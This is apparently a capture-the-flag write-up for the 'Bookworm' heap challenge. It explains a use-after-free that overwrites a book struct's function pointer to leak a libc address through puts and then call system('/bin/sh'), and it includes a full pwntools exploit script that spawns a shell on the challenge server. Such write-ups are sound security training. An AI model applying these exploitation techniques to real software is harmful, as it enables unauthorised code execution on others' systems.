Bookworm: a book collection service.
nc cha.hackpack.club:41720
Files: repo
Analysis
Binary info:
bookworm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=f10e73f79b28adde024987b5599945dd384a7551, not stripped
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Target binary provides functionality for creating/deleting books and changing/reading books summary.
***Welcome to Book Worm A Book Collection Service***
1) Create a Book
2) Delete a Book
3) Change Book Summary
4) Read Book Summary
5) Quit
> >
Analyzing binary reveals that following book structure is used:
struct book {
void ( * display_summary )( const char * ),
char * name ,
char * summary
};
We also can find that challenge contains use-after-free vulnerability. We can create new book, delete it, and then access it data (summary
) through read_summary
.
The exploitation strategy is to leak libc address by overwriting *display_summary
function pointer to puts@plt
and as a *summary
set address of puts@got
. Triggering read_summary
will reveal puts@got
address.
create_book ( 23 , "AAAAAAAA" , 10 , "BBBBBBBB" )
delete_book ( 0 )
payload = (
p64 ( exe . plt [ "puts" ]) +
b "D" * 8 +
p64 ( exe . got [ "puts" ])
)
create_book ( 23 , payload [: 23 ], 10 , "FFFFFFFF" )
data = read_book_summary ( 0 )
leak = u64 ( data [: 6 ] . ljust ( 8 , b " \x00 " ))
libc . address = leak - libc . sym . puts
log . info ( "Leak: 0x % x" , leak )
log . info ( "Libc: 0x % x" , libc . address )
Using the same technique we can execute /bin/sh
by setting *display_summary
function pointer to system@libc
and as *summary
set to address of /bin/sh
.
create_book ( 23 , "HHHHHHHHH" , 10 , "IIIIIIII" )
delete_book ( 2 )
payload = (
p64 ( libc . sym . system ) +
b "W" * 8 +
p64 ( next ( libc . search ( b "/bin/sh" )))
)
create_book ( 23 , payload [: 23 ], 10 , "FFFFFFFF" )
io . sendline ( "4" )
io . recvuntil ( "Select Book ID (0-10): " )
io . sendline ( "2" )
io . interactive ()
Full exploit
#!/usr/bin/env python3
from pwn import *
exe = context . binary = ELF ( './bookworm' )
libc = ELF ( "./libc.so.6" )
host = args . HOST or 'cha.hackpack.club'
port = int ( args . PORT or 41720 )
def local ( argv = [], * a , ** kw ):
if args . GDB :
return gdb . debug ([ exe . path ] + argv , gdbscript = gdbscript , * a , ** kw )
else :
return process ([ exe . path ] + argv , * a , ** kw )
def remote ( argv = [], * a , ** kw ):
io = connect ( host , port )
if args . GDB :
gdb . attach ( io , gdbscript = gdbscript )
return io
def start ( argv = [], * a , ** kw ):
if args . LOCAL :
return local ( argv , * a , ** kw )
else :
return remote ( argv , * a , ** kw )
gdbscript = '''
tbreak main
continue
''' . format ( ** locals ())
io = start ( env = { "LD_PRELOAD" : "./libc.so.6" })
def create_book ( name_size , name , summary_size , summary ):
io . sendline ( "1" )
io . recvuntil ( "Enter book name size: " )
io . sendline ( str ( name_size ))
io . recvuntil ( "Enter book name: " )
io . send ( name )
io . recvuntil ( "Enter book summary size: " )
io . sendline ( str ( summary_size ))
io . recvuntil ( "Enter book summary: " )
io . send ( summary )
io . recvuntil ( ">> " )
def delete_book ( book_id ):
io . sendline ( "2" )
io . recvuntil ( "Select Book ID (0-10): " )
io . sendline ( str ( book_id ))
io . recvuntil ( ">> " )
def read_book_summary ( book_id ):
io . sendline ( "4" )
io . recvuntil ( "Select Book ID (0-10): " )
io . sendline ( str ( book_id ))
data = io . recvuntil ( ">> " )
return data
io . recvuntil ( ">> " )
create_book ( 23 , "AAAAAAAA" , 10 , "BBBBBBBB" )
delete_book ( 0 )
payload = (
p64 ( exe . plt [ "puts" ]) +
b "D" * 8 +
p64 ( exe . got [ "puts" ])
)
create_book ( 23 , payload [: 23 ], 10 , "FFFFFFFF" )
data = read_book_summary ( 0 )
leak = u64 ( data [: 6 ] . ljust ( 8 , b " \x00 " ))
libc . address = leak - libc . sym . puts
log . info ( "Leak: 0x % x" , leak )
log . info ( "Libc: 0x % x" , libc . address )
create_book ( 23 , "HHHHHHHHH" , 10 , "IIIIIIII" )
delete_book ( 2 )
payload = (
p64 ( libc . sym . system ) +
b "W" * 8 +
p64 ( next ( libc . search ( b "/bin/sh" )))
)
create_book ( 23 , payload [: 23 ], 10 , "FFFFFFFF" )
io . sendline ( "4" )
io . recvuntil ( "Select Book ID (0-10): " )
io . sendline ( "2" )
io . interactive ()